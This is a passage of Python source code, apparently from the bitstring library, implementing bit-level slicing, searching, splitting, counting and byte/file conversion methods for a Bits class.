initialiser.\")\n        self._setbytes_unsafe(data, length * 4, 0)\n\n    def _readhex(self, length, start):\n        \"\"\"Read bits and interpret as a hex string.\"\"\"\n        if length % 4:\n            raise InterpretError(\"Cannot convert to hex unambiguously - \"\n                                           \"not multiple of 4 bits.\")\n        if not length:\n            return ''\n        s = self._slice(start, start + length).tobytes()\n        try:\n            s = s.hex() # Available in Python 3.5\n        except AttributeError:\n            # This monstrosity is the only thing I could get to work for both 2.6 and 3.1.\n            # TODO: Is utf-8 really what we mean here?\n            s = str(binascii.hexlify(s).decode('utf-8'))\n        # If there's one nibble too many then cut it off\n        return s[:-1] if (length // 4) % 2 else s\n\n    def _gethex(self):\n        \"\"\"Return the hexadecimal representation as a string prefixed with '0x'.\n\n        Raises an InterpretError if the bitstring's length is not a multiple of 4.\n\n        \"\"\"\n        return self._readhex(self.len, 0)\n\n    def _getoffset(self):\n        return self._datastore.offset\n\n    def _getlength(self):\n        \"\"\"Return the length of the bitstring in bits.\"\"\"\n        return self._datastore.bitlength\n\n    def _ensureinmemory(self):\n        \"\"\"Ensure the data is held in memory, not in a file.\"\"\"\n        self._setbytes_unsafe(self._datastore.getbyteslice(0, self._datastore.bytelength),\n                              self.len, self._offset)\n\n    @classmethod\n    def _converttobitstring(cls, bs, offset=0, cache={}):\n        \"\"\"Convert bs to a bitstring and return it.\n\n        offset gives the suggested bit offset of first significant\n        bit, to optimise append etc.\n\n        \"\"\"\n        if isinstance(bs, Bits):\n            return bs\n        try:\n            return cache[(bs, offset)]\n        except KeyError:\n            if isinstance(bs, basestring):\n                b = cls()\n                try:\n                    _, tokens = tokenparser(bs)\n                except ValueError as e:\n                    raise CreationError(*e.args)\n                if tokens:\n                    b._append(Bits._init_with_token(*tokens[0]))\n                    b._datastore = offsetcopy(b._datastore, offset)\n                    for token in tokens[1:]:\n                        b._append(Bits._init_with_token(*token))\n                assert b._assertsanity()\n                assert b.len == 0 or b._offset == offset\n                if len(cache) < CACHE_SIZE:\n                    cache[(bs, offset)] = b\n                return b\n        except TypeError:\n            # Unhashable type\n            pass\n        return cls(bs)\n\n    def _copy(self):\n        \"\"\"Create and return a new copy of the Bits (always in memory).\"\"\"\n        s_copy = self.__class__()\n        s_copy._setbytes_unsafe(self._datastore.getbyteslice(0, self._datastore.bytelength),\n                                self.len, self._offset)\n        return s_copy\n\n    def _slice(self, start, end):\n        \"\"\"Used internally to get a slice, without error checking.\"\"\"\n        if end == start:\n            return self.__class__()\n        offset = self._offset\n        startbyte, newoffset = divmod(start + offset, 8)\n        endbyte = (end + offset - 1) // 8\n        bs = self.__class__()\n        bs._setbytes_unsafe(self._datastore.getbyteslice(startbyte, endbyte + 1), end - start, newoffset)\n        return bs\n\n    def _readtoken(self, name, pos, length):\n        \"\"\"Reads a token from the bitstring and returns the result.\"\"\"\n        if length is not None and int(length) > self.length - pos:\n            raise ReadError(\"Reading off the end of the data. \"\n                            \"Tried to read {0} bits when only {1} available.\".format(int(length), self.length - pos))\n        try:\n            val = name_to_read[name](self, length, pos)\n            return val, pos + length\n        except KeyError:\n            if name == 'pad':\n                return None, pos + length\n            raise ValueError(\"Can't parse token {0}:{1}\".format(name, length))\n        except TypeError:\n            # This is for the 'ue', 'se' and 'bool' tokens. They will also return the new pos.\n            return name_to_read[name](self, pos)\n\n    def _append(self, bs):\n        \"\"\"Append a bitstring to the current bitstring.\"\"\"\n        self._datastore._appendstore(bs._datastore)\n\n    def _prepend(self, bs):\n        \"\"\"Prepend a bitstring to the current bitstring.\"\"\"\n        self._datastore._prependstore(bs._datastore)\n\n    def _reverse(self):\n        \"\"\"Reverse all bits in-place.\"\"\"\n        # Reverse the contents of each byte\n        n = [BYTE_REVERSAL_DICT[b] for b in self._datastore.rawbytes]\n        # Then reverse the order of the bytes\n        n.reverse()\n        # The new offset is the number of bits that were unused at the end.\n        newoffset = 8 - (self._offset + self.len) % 8\n        if newoffset == 8:\n            newoffset = 0\n        self._setbytes_unsafe(bytearray().join(n), self.length, newoffset)\n\n    def _truncatestart(self, bits):\n        \"\"\"Truncate bits from the start of the bitstring.\"\"\"\n        assert 0 <= bits <= self.len\n        if not bits:\n            return\n        if bits == self.len:\n            self._clear()\n            return\n        bytepos, offset = divmod(self._offset + bits, 8)\n        self._setbytes_unsafe(self._datastore.getbyteslice(bytepos, self._datastore.bytelength), self.len - bits,\n                              offset)\n        assert self._assertsanity()\n\n    def _truncateend(self, bits):\n        \"\"\"Truncate bits from the end of the bitstring.\"\"\"\n        assert 0 <= bits <= self.len\n        if not bits:\n            return\n        if bits == self.len:\n            self._clear()\n            return\n        newlength_in_bytes = (self._offset + self.len - bits + 7) // 8\n        self._setbytes_unsafe(self._datastore.getbyteslice(0, newlength_in_bytes), self.len - bits,\n                              self._offset)\n        assert self._assertsanity()\n\n    def _insert(self, bs, pos):\n        \"\"\"Insert bs at pos.\"\"\"\n        assert 0 <= pos <= self.len\n        if pos > self.len // 2:\n            # Inserting nearer end, so cut off end.\n            end = self._slice(pos, self.len)\n            self._truncateend(self.len - pos)\n            self._append(bs)\n            self._append(end)\n        else:\n            # Inserting nearer start, so cut off start.\n            start = self._slice(0, pos)\n            self._truncatestart(pos)\n            self._prepend(bs)\n            self._prepend(start)\n        try:\n            self._pos = pos + bs.len\n        except AttributeError:\n            pass\n        assert self._assertsanity()\n\n    def _overwrite(self, bs, pos):\n        \"\"\"Overwrite with bs at pos.\"\"\"\n        assert 0 <= pos < self.len\n        if bs is self:\n            # Just overwriting with self, so do nothing.\n            assert pos == 0\n            return\n        firstbytepos = (self._offset + pos) // 8\n        lastbytepos = (self._offset + pos + bs.len - 1) // 8\n        bytepos, bitoffset = divmod(self._offset + pos, 8)\n        if firstbytepos == lastbytepos:\n            mask = ((1 << bs.len) - 1) << (8 - bs.len - bitoffset)\n            self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) & (~mask))\n            d = offsetcopy(bs._datastore, bitoffset)\n            self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) | (d.getbyte(0) & mask))\n        else:\n            # Do first byte\n            mask = (1 << (8 - bitoffset)) - 1\n            self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) & (~mask))\n            d = offsetcopy(bs._datastore, bitoffset)\n            self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) | (d.getbyte(0) & mask))\n            # Now do all the full bytes\n            self._datastore.setbyteslice(firstbytepos + 1, lastbytepos, d.getbyteslice(1, lastbytepos - firstbytepos))\n            # and finally the last byte\n            bitsleft = (self._offset + pos + bs.len) % 8\n            if not bitsleft:\n                bitsleft = 8\n            mask = (1 << (8 - bitsleft)) - 1\n            self._datastore.setbyte(lastbytepos, self._datastore.getbyte(lastbytepos) & mask)\n            self._datastore.setbyte(lastbytepos,\n                                    self._datastore.getbyte(lastbytepos) | (d.getbyte(d.bytelength - 1) & ~mask))\n        assert self._assertsanity()\n\n    def _delete(self, bits, pos):\n        \"\"\"Delete bits at pos.\"\"\"\n        assert 0 <= pos <= self.len\n        assert pos + bits <= self.len\n        if not pos:\n            # Cutting bits off at the start.\n            self._truncatestart(bits)\n            return\n        if pos + bits == self.len:\n            # Cutting bits off at the end.\n            self._truncateend(bits)\n            return\n        if pos > self.len - pos - bits:\n            # More bits before cut point than after it, so do bit shifting\n            # on the final bits.\n            end = self._slice(pos + bits, self.len)\n            assert self.len - pos > 0\n            self._truncateend(self.len - pos)\n            self._append(end)\n            return\n        # More bits after the cut point than before it.\n        start = self._slice(0, pos)\n        self._truncatestart(pos + bits)\n        self._prepend(start)\n        return\n\n    def _reversebytes(self, start, end):\n        \"\"\"Reverse bytes in-place.\"\"\"\n        # Make the start occur on a byte boundary\n        # TODO: We could be cleverer here to avoid changing the offset.\n        newoffset = 8 - (start % 8)\n        if newoffset == 8:\n            newoffset = 0\n        self._datastore = offsetcopy(self._datastore, newoffset)\n        # Now just reverse the byte data\n        toreverse = bytearray(self._datastore.getbyteslice((newoffset + start) // 8, (newoffset + end) // 8))\n        toreverse.reverse()\n        self._datastore.setbyteslice((newoffset + start) // 8, (newoffset + end) // 8, toreverse)\n\n    def _set(self, pos):\n        \"\"\"Set bit at pos to 1.\"\"\"\n        assert 0 <= pos < self.len\n        self._datastore.setbit(pos)\n\n    def _unset(self, pos):\n        \"\"\"Set bit at pos to 0.\"\"\"\n        assert 0 <= pos < self.len\n        self._datastore.unsetbit(pos)\n\n    def _invert(self, pos):\n        \"\"\"Flip bit at pos 1<->0.\"\"\"\n        assert 0 <= pos < self.len\n        self._datastore.invertbit(pos)\n\n    def _invert_all(self):\n        \"\"\"Invert every bit.\"\"\"\n        for p in xrange(self._datastore.byteoffset, self._datastore.byteoffset + self._datastore.bytelength):\n            self._datastore._rawarray[p] = 256 + ~self._datastore._rawarray[p]\n\n    def _ilshift(self, n):\n        \"\"\"Shift bits by n to the left in place. Return self.\"\"\"\n        assert 0 < n <= self.len\n        self._append(Bits(n))\n        self._truncatestart(n)\n        return self\n\n    def _irshift(self, n):\n        \"\"\"Shift bits by n to the right in place. Return self.\"\"\"\n        assert 0 < n <= self.len\n        self._prepend(Bits(n))\n        self._truncateend(n)\n        return self\n\n    def _imul(self, n):\n        \"\"\"Concatenate n copies of self in place. Return self.\"\"\"\n        assert n >= 0\n        if not n:\n            self._clear()\n            return self\n        m = 1\n        old_len = self.len\n        while m * 2 < n:\n            self._append(self)\n            m *= 2\n        self._append(self[0:(n - m) * old_len])\n        return self\n\n    def _inplace_logical_helper(self, bs, f):\n        \"\"\"Helper function containing most of the __ior__, __iand__, __ixor__ code.\"\"\"\n        # Give the two bitstrings the same offset (modulo 8)\n        self_byteoffset, self_bitoffset = divmod(self._offset, 8)\n        bs_byteoffset, bs_bitoffset = divmod(bs._offset, 8)\n        if bs_bitoffset != self_bitoffset:\n            if not self_bitoffset:\n                bs._datastore = offsetcopy(bs._datastore, 0)\n            else:\n                self._datastore = offsetcopy(self._datastore, bs_bitoffset)\n        a = self._datastore.rawbytes\n        b = bs._datastore.rawbytes\n        for i in xrange(len(a)):\n            a[i] = f(a[i + self_byteoffset], b[i + bs_byteoffset])\n        return self\n\n    def _ior(self, bs):\n        return self._inplace_logical_helper(bs, operator.ior)\n\n    def _iand(self, bs):\n        return self._inplace_logical_helper(bs, operator.iand)\n\n    def _ixor(self, bs):\n        return self._inplace_logical_helper(bs, operator.xor)\n\n    def _readbits(self, length, start):\n        \"\"\"Read some bits from the bitstring and return newly constructed bitstring.\"\"\"\n        return self._slice(start, start + length)\n\n    def _validate_slice(self, start, end):\n        \"\"\"Validate start and end and return them as positive bit positions.\"\"\"\n        if start is None:\n            start = 0\n        elif start < 0:\n            start += self.len\n        if end is None:\n            end = self.len\n        elif end < 0:\n            end += self.len\n        if not 0 <= end <= self.len:\n            raise ValueError(\"end is not a valid position in the bitstring.\")\n        if not 0 <= start <= self.len:\n            raise ValueError(\"start is not a valid position in the bitstring.\")\n        if end < start:\n            raise ValueError(\"end must not be less than start.\")\n        return start, end\n\n    def unpack(self, fmt, **kwargs):\n        \"\"\"Interpret the whole bitstring using fmt and return list.\n\n        fmt -- A single string or a list of strings with comma separated tokens\n               describing how to interpret the bits in the bitstring. Items\n               can also be integers, for reading new bitstring of the given length.\n        kwargs -- A dictionary or keyword-value pairs - the keywords used in the\n                  format string will be replaced with their given value.\n\n        Raises ValueError if the format is not understood. If not enough bits\n        are available then all bits to the end of the bitstring will be used.\n\n        See the docstring for 'read' for token examples.\n\n        \"\"\"\n        return self._readlist(fmt, 0, **kwargs)[0]\n\n    def _readlist(self, fmt, pos, **kwargs):\n        tokens = []\n        stretchy_token = None\n        if isinstance(fmt, basestring):\n            fmt = [fmt]\n        # Not very optimal this, but replace integers with 'bits' tokens\n        # TODO: optimise\n        for i, f in enumerate(fmt):\n            if isinstance(f, numbers.Integral):\n                fmt[i] = \"bits:{0}\".format(f)\n        for f_item in fmt:\n            stretchy, tkns = tokenparser(f_item, tuple(sorted(kwargs.keys())))\n            if stretchy:\n                if stretchy_token:\n                    raise Error(\"It's not possible to have more than one 'filler' token.\")\n                stretchy_token = stretchy\n            tokens.extend(tkns)\n        if not stretchy_token:\n            lst = []\n            for name, length, _ in tokens:\n                if length in kwargs:\n                    length = kwargs[length]\n                    if name == 'bytes':\n                        length *= 8\n                if name in kwargs and length is None:\n                    # Using default 'uint' - the name is really the length.\n                    value, pos = self._readtoken('uint', pos, kwargs[name])\n                    lst.append(value)\n                    continue\n                value, pos = self._readtoken(name, pos, length)\n                if value is not None: # Don't append pad tokens\n                    lst.append(value)\n            return lst, pos\n        stretchy_token = False\n        bits_after_stretchy_token = 0\n        for token in tokens:\n            name, length, _ = token\n            if length in kwargs:\n                length = kwargs[length]\n                if name == 'bytes':\n                    length *= 8\n            if name in kwargs and length is None:\n                # Default 'uint'.\n                length = kwargs[name]\n            if stretchy_token:\n                if name in ('se', 'ue', 'sie', 'uie'):\n                    raise Error(\"It's not possible to parse a variable\"\n                                \"length token after a 'filler' token.\")\n                else:\n                    if length is None:\n                        raise Error(\"It's not possible to have more than \"\n                                    \"one 'filler' token.\")\n                    bits_after_stretchy_token += length\n            if length is None and name not in ('se', 'ue', 'sie', 'uie'):\n                assert not stretchy_token\n                stretchy_token = token\n        bits_left = self.len - pos\n        return_values = []\n        for token in tokens:\n            name, length, _ = token\n            if token is stretchy_token:\n                # Set length to the remaining bits\n                length = max(bits_left - bits_after_stretchy_token, 0)\n            if length in kwargs:\n                length = kwargs[length]\n                if name == 'bytes':\n                    length *= 8\n            if name in kwargs and length is None:\n                # Default 'uint'\n                length = kwargs[name]\n            if length is not None:\n                bits_left -= length\n            value, pos = self._readtoken(name, pos, length)\n            if value is not None:\n                return_values.append(value)\n        return return_values, pos\n\n    def _findbytes(self, bytes_, start, end, bytealigned):\n        \"\"\"Quicker version of find when everything's whole byte\n        and byte aligned.\n\n        \"\"\"\n        assert self._datastore.offset == 0\n        assert bytealigned is True\n        # Extract data bytes from bitstring to be found.\n        bytepos = (start + 7) // 8\n        found = False\n        p = bytepos\n        finalpos = end // 8\n        increment = max(1024, len(bytes_) * 10)\n        buffersize = increment + len(bytes_)\n        while p < finalpos:\n            # Read in file or from memory in overlapping chunks and search the chunks.\n            buf = bytearray(self._datastore.getbyteslice(p, min(p + buffersize, finalpos)))\n            pos = buf.find(bytes_)\n            if pos != -1:\n                found = True\n                p += pos\n                break\n            p += increment\n        if not found:\n            return ()\n        return (p * 8,)\n\n    def _findregex(self, reg_ex, start, end, bytealigned):\n        \"\"\"Find first occurrence of a compiled regular expression.\n\n        Note that this doesn't support arbitrary regexes, in particular they\n        must match a known length.\n\n        \"\"\"\n        p = start\n        length = len(reg_ex.pattern)\n        # We grab overlapping chunks of the binary representation and\n        # do an ordinary string search within that.\n        increment = max(4096, length * 10)\n        buffersize = increment + length\n        while p < end:\n            buf = self._readbin(min(buffersize, end - p), p)\n            # Test using regular expressions...\n            m = reg_ex.search(buf)\n            if m:\n                pos = m.start()\n            # pos = buf.find(targetbin)\n            # if pos != -1:\n                # if bytealigned then we only accept byte aligned positions.\n                if not bytealigned or (p + pos) % 8 == 0:\n                    return (p + pos,)\n                if bytealigned:\n                    # Advance to just beyond the non-byte-aligned match and try again...\n                    p += pos + 1\n                    continue\n            p += increment\n            # Not found, return empty tuple\n        return ()\n\n    def find(self, bs, start=None, end=None, bytealigned=None):\n        \"\"\"Find first occurrence of substring bs.\n\n        Returns a single item tuple with the bit position if found, or an\n        empty tuple if not found. The bit position (pos property) will\n        also be set to the start of the substring if it is found.\n\n        bs -- The bitstring to find.\n        start -- The bit position to start the search. Defaults to 0.\n        end -- The bit position one past the last bit to search.\n               Defaults to self.len.\n        bytealigned -- If True the bitstring will only be\n                       found on byte boundaries.\n\n        Raises ValueError if bs is empty, if start < 0, if end > self.len or\n        if end < start.\n\n        >>> BitArray('0xc3e').find('0b1111')\n        (6,)\n\n        \"\"\"\n        bs = Bits(bs)\n        if not bs.len:\n            raise ValueError(\"Cannot find an empty bitstring.\")\n        start, end = self._validate_slice(start, end)\n        if bytealigned is None:\n            bytealigned = globals()['bytealigned']\n        if bytealigned and not bs.len % 8 and not self._datastore.offset:\n            p = self._findbytes(bs.bytes, start, end, bytealigned)\n        else:\n            p = self._findregex(re.compile(bs._getbin()), start, end, bytealigned)\n        # If called from a class that has a pos, set it\n        try:\n            self._pos = p[0]\n        except (AttributeError, IndexError):\n            pass\n        return p\n\n    def findall(self, bs, start=None, end=None, count=None, bytealigned=None):\n        \"\"\"Find all occurrences of bs. Return generator of bit positions.\n\n        bs -- The bitstring to find.\n        start -- The bit position to start the search. Defaults to 0.\n        end -- The bit position one past the last bit to search.\n               Defaults to self.len.\n        count -- The maximum number of occurrences to find.\n        bytealigned -- If True the bitstring will only be found on\n                       byte boundaries.\n\n        Raises ValueError if bs is empty, if start < 0, if end > self.len or\n        if end < start.\n\n        Note that all occurrences of bs are found, even if they overlap.\n\n        \"\"\"\n        if count is not None and count < 0:\n            raise ValueError(\"In findall, count must be >= 0.\")\n        bs = Bits(bs)\n        start, end = self._validate_slice(start, end)\n        if bytealigned is None:\n            bytealigned = globals()['bytealigned']\n        c = 0\n        if bytealigned and not bs.len % 8 and not self._datastore.offset:\n            # Use the quick find method\n            f = self._findbytes\n            x = bs._getbytes()\n        else:\n            f = self._findregex\n            x = re.compile(bs._getbin())\n        while True:\n\n            p = f(x, start, end, bytealigned)\n            if not p:\n                break\n            if count is not None and c >= count:\n                return\n            c += 1\n            try:\n                self._pos = p[0]\n            except AttributeError:\n                pass\n            yield p[0]\n            if bytealigned:\n                start = p[0] + 8\n            else:\n                start = p[0] + 1\n            if start >= end:\n                break\n        return\n\n    def rfind(self, bs, start=None, end=None, bytealigned=None):\n        \"\"\"Find final occurrence of substring bs.\n\n        Returns a single item tuple with the bit position if found, or an\n        empty tuple if not found. The bit position (pos property) will\n        also be set to the start of the substring if it is found.\n\n        bs -- The bitstring to find.\n        start -- The bit position to end the reverse search. Defaults to 0.\n        end -- The bit position one past the first bit to reverse search.\n               Defaults to self.len.\n        bytealigned -- If True the bitstring will only be found on byte\n                       boundaries.\n\n        Raises ValueError if bs is empty, if start < 0, if end > self.len or\n        if end < start.\n\n        \"\"\"\n        bs = Bits(bs)\n        start, end = self._validate_slice(start, end)\n        if bytealigned is None:\n            bytealigned = globals()['bytealigned']\n        if not bs.len:\n            raise ValueError(\"Cannot find an empty bitstring.\")\n        # Search chunks starting near the end and then moving back\n        # until we find bs.\n        increment = max(8192, bs.len * 80)\n        buffersize = min(increment + bs.len, end - start)\n        pos = max(start, end - buffersize)\n        while True:\n            found = list(self.findall(bs, start=pos, end=pos + buffersize,\n                                      bytealigned=bytealigned))\n            if not found:\n                if pos == start:\n                    return ()\n                pos = max(start, pos - increment)\n                continue\n            return (found[-1],)\n\n    def cut(self, bits, start=None, end=None, count=None):\n        \"\"\"Return bitstring generator by cutting into bits sized chunks.\n\n        bits -- The size in bits of the bitstring chunks to generate.\n        start -- The bit position to start the first cut. Defaults to 0.\n        end -- The bit position one past the last bit to use in the cut.\n               Defaults to self.len.\n        count -- If specified then at most count items are generated.\n                 Default is to cut as many times as possible.\n\n        \"\"\"\n        start, end = self._validate_slice(start, end)\n        if count is not None and count < 0:\n            raise ValueError(\"Cannot cut - count must be >= 0.\")\n        if bits <= 0:\n            raise ValueError(\"Cannot cut - bits must be >= 0.\")\n        c = 0\n        while count is None or c < count:\n            c += 1\n            nextchunk = self._slice(start, min(start + bits, end))\n            if nextchunk.len != bits:\n                return\n            assert nextchunk._assertsanity()\n            yield nextchunk\n            start += bits\n        return\n\n    def split(self, delimiter, start=None, end=None, count=None,\n              bytealigned=None):\n        \"\"\"Return bitstring generator by splittling using a delimiter.\n\n        The first item returned is the initial bitstring before the delimiter,\n        which may be an empty bitstring.\n\n        delimiter -- The bitstring used as the divider.\n        start -- The bit position to start the split. Defaults to 0.\n        end -- The bit position one past the last bit to use in the split.\n               Defaults to self.len.\n        count -- If specified then at most count items are generated.\n                 Default is to split as many times as possible.\n        bytealigned -- If True splits will only occur on byte boundaries.\n\n        Raises ValueError if the delimiter is empty.\n\n        \"\"\"\n        delimiter = Bits(delimiter)\n        if not delimiter.len:\n            raise ValueError(\"split delimiter cannot be empty.\")\n        start, end = self._validate_slice(start, end)\n        if bytealigned is None:\n            bytealigned = globals()['bytealigned']\n        if count is not None and count < 0:\n            raise ValueError(\"Cannot split - count must be >= 0.\")\n        if count == 0:\n            return\n        if bytealigned and not delimiter.len % 8 and not self._datastore.offset:\n            # Use the quick find method\n            f = self._findbytes\n            x = delimiter._getbytes()\n        else:\n            f = self._findregex\n            x = re.compile(delimiter._getbin())\n        found = f(x, start, end, bytealigned)\n        if not found:\n            # Initial bits are the whole bitstring being searched\n            yield self._slice(start, end)\n            return\n        # yield the bytes before the first occurrence of the delimiter, even if empty\n        yield self._slice(start, found[0])\n        startpos = pos = found[0]\n        c = 1\n        while count is None or c < count:\n            pos += delimiter.len\n            found = f(x, pos, end, bytealigned)\n            if not found:\n                # No more occurrences, so return the rest of the bitstring\n                yield self._slice(startpos, end)\n                return\n            c += 1\n            yield self._slice(startpos, found[0])\n            startpos = pos = found[0]\n        # Have generated count bitstrings, so time to quit.\n        return\n\n    def join(self, sequence):\n        \"\"\"Return concatenation of bitstrings joined by self.\n\n        sequence -- A sequence of bitstrings.\n\n        \"\"\"\n        s = self.__class__()\n        i = iter(sequence)\n        try:\n            s._append(Bits(next(i)))\n            while True:\n                n = next(i)\n                s._append(self)\n                s._append(Bits(n))\n        except StopIteration:\n            pass\n        return s\n\n    def tobytes(self):\n        \"\"\"Return the bitstring as bytes, padding with zero bits if needed.\n\n        Up to seven zero bits will be added at the end to byte align.\n\n        \"\"\"\n        d = offsetcopy(self._datastore, 0).rawbytes\n        # Need to ensure that unused bits at end are set to zero\n        unusedbits = 8 - self.len % 8\n        if unusedbits != 8:\n            d[-1] &= (0xff << unusedbits)\n        return bytes(d)\n\n    def tofile(self, f):\n        \"\"\"Write the bitstring to a file object, padding with zero bits if needed.\n\n        Up to seven zero bits will be added at the end to byte align.\n\n        \"\"\"\n        # If the bitstring is file based then we don't want to read it all\n        # in to memory.\n        chunksize = 1024 * 1024 # 1 MB chunks\n        if not self._offset:\n            a = 0\n            bytelen = self._datastore.bytelength\n            p = self._datastore.getbyteslice(a, min(a + chunksize, bytelen - 1))\n            while len(p) == chunksize:\n                f.write(p)\n                a += chunksize\n                p = self._datastore.getbyteslice(a, min(a + chunksize, bytelen - 1))\n            f.write(p)\n            # Now the final byte, ensuring that unused bits at end are set to 0.\n            bits_in_final_byte = self.len % 8\n            if not bits_in_final_byte:\n                bits_in_final_byte = 8\n            f.write(self[-bits_in_final_byte:].tobytes())\n        else:\n            # Really quite inefficient...\n            a = 0\n            b = a + chunksize * 8\n            while b <= self.len:\n                f.write(self._slice(a, b)._getbytes())\n                a += chunksize * 8\n                b += chunksize * 8\n            if a != self.len:\n                f.write(self._slice(a, self.len).tobytes())\n\n    def startswith(self, prefix, start=None, end=None):\n        \"\"\"Return whether the current bitstring starts with prefix.\n\n        prefix -- The bitstring to search for.\n        start -- The bit position to start from. Defaults to 0.\n        end -- The bit position to end at. Defaults to self.len.\n\n        \"\"\"\n        prefix = Bits(prefix)\n        start, end = self._validate_slice(start, end)\n        if end < start + prefix.len:\n            return False\n        end = start + prefix.len\n        return self._slice(start, end) == prefix\n\n    def endswith(self, suffix, start=None, end=None):\n        \"\"\"Return whether the current bitstring ends with suffix.\n\n        suffix -- The bitstring to search for.\n        start -- The bit position to start from. Defaults to 0.\n        end -- The bit position to end at. Defaults to self.len.\n\n        \"\"\"\n        suffix = Bits(suffix)\n        start, end = self._validate_slice(start, end)\n        if start + suffix.len > end:\n            return False\n        start = end - suffix.len\n        return self._slice(start, end) == suffix\n\n    def all(self, value, pos=None):\n        \"\"\"Return True if one or many bits are all set to value.\n\n        value -- If value is True then checks for bits set to 1, otherwise\n                 checks for bits set to 0.\n        pos -- An iterable of bit positions. Negative numbers are treated in\n               the same way as slice indices. Defaults to the whole bitstring.\n\n        \"\"\"\n        value = bool(value)\n        length = self.len\n        if pos is None:\n            pos = xrange(self.len)\n        for p in pos:\n            if p < 0:\n                p += length\n            if not 0 <= p < length:\n                raise IndexError(\"Bit position {0} out of range.\".format(p))\n            if not self._datastore.getbit(p) is value:\n                return False\n        return True\n\n    def any(self, value, pos=None):\n        \"\"\"Return True if any of one or many bits are set to value.\n\n        value -- If value is True then checks for bits set to 1, otherwise\n                 checks for bits set to 0.\n        pos -- An iterable of bit positions. Negative numbers are treated in\n               the same way as slice indices. Defaults to the whole bitstring.\n\n        \"\"\"\n        value = bool(value)\n        length = self.len\n        if pos is None:\n            pos = xrange(self.len)\n        for p in pos:\n            if p < 0:\n                p += length\n            if not 0 <= p < length:\n                raise IndexError(\"Bit position {0} out of range.\".format(p))\n            if self._datastore.getbit(p) is value:\n                return True\n        return False\n\n    def count(self, value):\n        \"\"\"Return count of total number of either zero or one bits.\n\n        value -- If True then bits set to 1 are counted, otherwise bits set\n                 to 0 are counted.\n\n        >>> Bits('0xef').count(1)\n        7\n\n        \"\"\"\n        if not self.len:\n            return 0\n        # count the number of 1s (from which it's easy to work out the 0s).\n        # Don't count the final byte yet.\n        count = sum(BIT_COUNT[self._datastore.getbyte(i)] for i in xrange(self._datastore.bytelength - 1))\n        # adjust for bits at start that aren't part of the bitstring\n        if self._offset:\n            count -= BIT_COUNT[self._datastore.getbyte(0) >> (8 - self._offset)]\n        # and count the last 1 - 8 bits at the end.\n        endbits = self._datastore.bytelength * 8 - (self._offset + self.len)\n        count += BIT_COUNT[self._datastore.getbyte(self._datastore.bytelength - 1) >> endbits]\n        return count if value else self.len - count\n\n    # Create native-endian functions as aliases depending on the byteorder\n    if byteorder == 'little':\n        _setfloatne = _setfloatle\n        _readfloatne = _readfloatle\n        _getfloatne = _getfloatle\n        _setuintne = _setuintle\n        _readuintne = _readuintle\n        _getuintne = _getuintle\n        _setintne = _setintle\n        _readintne = _readintle\n        _getintne = _getintle\n    else:\n        _setfloatne = _setfloat\n        _readfloatne = _readfloat\n        _getfloatne = _getfloat\n        _setuintne = _setuintbe\n        _readuintne = _readuintbe\n        _getuintne = _getuintbe\n        _setintne = _setintbe\n        _readintne = _readintbe\n        _getintne = _getintbe\n\n    _offset = property(_getoffset)\n\n    len = property(_getlength,\n                   doc=\"\"\"The length of the bitstring in bits. Read only.\n                      \"\"\")\n    length = property(_getlength,\n                      doc=\"\"\"The length of the bitstring in bits. Read only.\n                      \"\"\")\n    bool = property(_getbool,\n                    doc=\"\"\"The bitstring as a bool (True or False). Read only.\n                    \"\"\")\n    hex = property(_gethex,\n                   doc=\"\"\"The bitstring as a hexadecimal string. Read only.\n                   \"\"\")\n    bin = property(_getbin,\n                   doc=\"\"\"The bitstring as a binary string. Read only.\n                   \"\"\")\n    oct = property(_getoct,\n                   doc=\"\"\"The bitstring as an octal string. Read only.\n                   \"\"\")\n    bytes = property(_getbytes,\n                     doc=\"\"\"The bitstring as a bytes object. Read only.\n                      \"\"\")\n    int = property(_getint,\n                   doc=\"\"\"The bitstring as a two's complement signed int. Read only.\n                      \"\"\")\n    uint = property(_getuint,\n                    doc=\"\"\"The bitstring as a two's complement unsigned int. Read only.\n                      \"\"\")\n    float = property(_getfloat,\n                     doc=\"\"\"The bitstring as a floating point number. Read only.\n                      \"\"\")\n    intbe = property(_getintbe,\n                     doc=\"\"\"The bitstring as a two's complement big-endian signed int. Read only.\n                      \"\"\")\n    uintbe = property(_getuintbe,\n                      doc=\"\"\"The bitstring as a two's complement big-endian unsigned int. Read only.\n                      \"\"\")\n    floatbe = property(_getfloat,\n                       doc=\"\"\"The bitstring as a big-endian floating point number. Read only.\n                      \"\"\")\n    intle = property(_getintle,\n                     doc=\"\"\"The bitstring as a two's complement little-endian signed int. Read only.\n                      \"\"\")\n    uintle = property(_getuintle,\n                      doc=\"\"\"The bitstring as a two's complement little-endian unsigned int. Read only.\n                      \"\"\")\n    floatle = property(_getfloatle,\n                       doc=\"\"\"The bitstring as a little-endian floating point number. Read only.\n                      \"\"\")\n    intne = property(_getintne,\n                     doc=\"\"\"The bitstring as a two's complement native-endian signed int. Read only.\n                      \"\"\")\n    uintne = property(_getuintne,\n                      doc=\"\"\"The bitstring as a two's complement native-endian unsigned int. Read only.\n                      \"\"\")\n    floatne = property(_getfloatne,\n                       doc=\"\"\"The bitstring as a native-endian floating point number. Read only.\n                      \"\"\")\n    ue = property(_getue,\n                  doc=\"\"\"The bitstring as an unsigned exponential-Golomb code. Read only.\n                      \"\"\")\n    se = property(_getse,\n                  doc=\"\"\"The bitstring as a signed exponential-Golomb code. Read only.\n                      \"\"\")\n    uie = property(_getuie,\n                   doc=\"\"\"The bitstring as an unsigned interleaved exponential-Golomb code. Read only.\n                      \"\"\")\n    sie = property(_getsie,\n                   doc=\"\"\"The bitstring as a signed interleaved exponential-Golomb code. Read only.\n                      \"\"\")\n\n\n# Dictionary that maps token names to the function that reads them.\nname_to_read = {'uint': Bits._readuint,\n                'uintle': Bits._readuintle,\n                'uintbe': Bits._readuintbe,\n                'uintne': Bits._readuintne,\n                'int': Bits._readint,\n                'intle': Bits._readintle,\n                'intbe': Bits._readintbe,\n                'intne': Bits._readintne,\n                'float': Bits._readfloat,\n                'floatbe': Bits._readfloat, # floatbe is a synonym for float\n                'floatle': Bits._readfloatle,\n                'floatne': Bits._readfloatne,\n                'hex': Bits._readhex,\n                'oct': Bits._readoct,\n                'bin': Bits._readbin,\n                'bits': Bits._readbits,\n                'bytes': Bits._readbytes,\n                'ue': Bits._readue,\n                'se': Bits._readse,\n                'uie': Bits._readuie,\n                'sie': Bits._readsie,\n                